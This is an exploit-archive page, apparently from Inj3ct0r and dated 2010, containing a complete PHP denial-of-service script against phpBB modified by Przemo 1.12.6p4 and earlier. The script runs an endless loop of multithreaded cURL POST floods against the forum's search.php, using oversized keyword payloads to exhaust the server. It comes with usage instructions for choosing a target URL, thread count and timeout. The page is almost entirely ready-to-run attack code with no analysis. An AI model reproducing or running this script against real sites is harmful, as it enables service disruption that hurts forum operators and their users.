Home / os / win7

phpBB modified by Przemo <= 1.12.6p4 Denial Of Service Ex

Posted on 29 April 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>phpBB modified by Przemo &lt;= 1.12.6p4 Denial Of Service Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==============================================================
phpBB modified by Przemo &lt;= 1.12.6p4 Denial Of Service Exploit
==============================================================

&lt;?php
################################################################################
# Exploit Title:         phpBB modified by Przemo &lt;= 1.12.6p4 Denial Of Service Exploit1
#
# Software               phpBB modified by Przemo 1.12.6p4
# Date:                  2010-04-29
# Author:                GLOBUS
# Software Link:         http://www.przemo.org/phpBB2/
# Version:               &lt;= 1.12.6p4
# category:              DoS
#
# Greetz:                hds, Neo, pok3, .xXx., j4ck, revel004, Kopaczka
################################################################################
// cURL and PHP5

function info()
{
	echo &quot;##################################################################
&quot;;
	echo &quot;# phpBB modified by Przemo &lt;= 1.12.6p4 Denial Of Service Exploit1
&quot;;
	echo &quot;# Author: GLOBUS
&quot;;
	echo &quot;# Greetz: hds, Neo, pok3, .xXx., j4ck, revel004, Kopaczka
&quot;;
	echo &quot;##################################################################
&quot;;
	echo &quot;# php dos.php URL THREADS TIMEOUT
&quot;;
	echo &quot;# php dos.php http://www.example.pl/phpbb/ 20 5
&quot;;
	echo &quot;##################################################################
&quot;;
	exit;
}

if($argc !== 4 || !preg_match('#^d+$#', $argv[2]) || !preg_match('#^d+$#', $argv[3]))
{
	info();
}

$url = $argv[1];
$threads = (int) $argv[2];
$timeout = (int) $argv[3];

$ptimeout = $timeout * 100;

$packet = implode('+', range(100,999));

while(1)
{
	$m = curl_multi_init();

	for($i = 0; $i &lt; $threads; $i++)
	{
		$c[$i] = curl_init();
		$opts = array
		(
			CURLOPT_URL		=&gt; $url . 'search.php?mode=results',
			CURLOPT_USERAGENT	=&gt; 'Opera/9.80 (Windows NT 5.1; U; pl) Presto/2.5.24 Version/10.52',
			CURLOPT_ENCODING	=&gt; 'gzip, deflate',
			CURLOPT_POST		=&gt; 1,
			CURLOPT_POSTFIELDS	=&gt; 'search_keywords='. $packet .'&amp;search_terms=all&amp;search_author=&amp;search_time=0&amp;search_fields=all&amp;show_results=posts&amp;sort_by=2&amp;sort_dir=DESC&amp;return_chars=-1',
			CURLOPT_RETURNTRANSFER	=&gt; 1,
			CURLOPT_TIMEOUT		=&gt; $timeout,
		);
		curl_setopt_array($c[$i], $opts);
		curl_multi_add_handle($m, $c[$i]);
	}

	$t = 0;
	do
	{
		curl_multi_exec($m, $r);
		usleep(100000);

		$t++;

		if($t &gt; $ptimeout)
		{
			curl_multi_close($m);
			for($i = 0; $i &lt; $threads; $i++)
			{
				curl_close($c[$i]);
			}
			break;
		}
	}
	while($r &gt; 0);

	echo '.';
}
?&gt;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-04-29]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :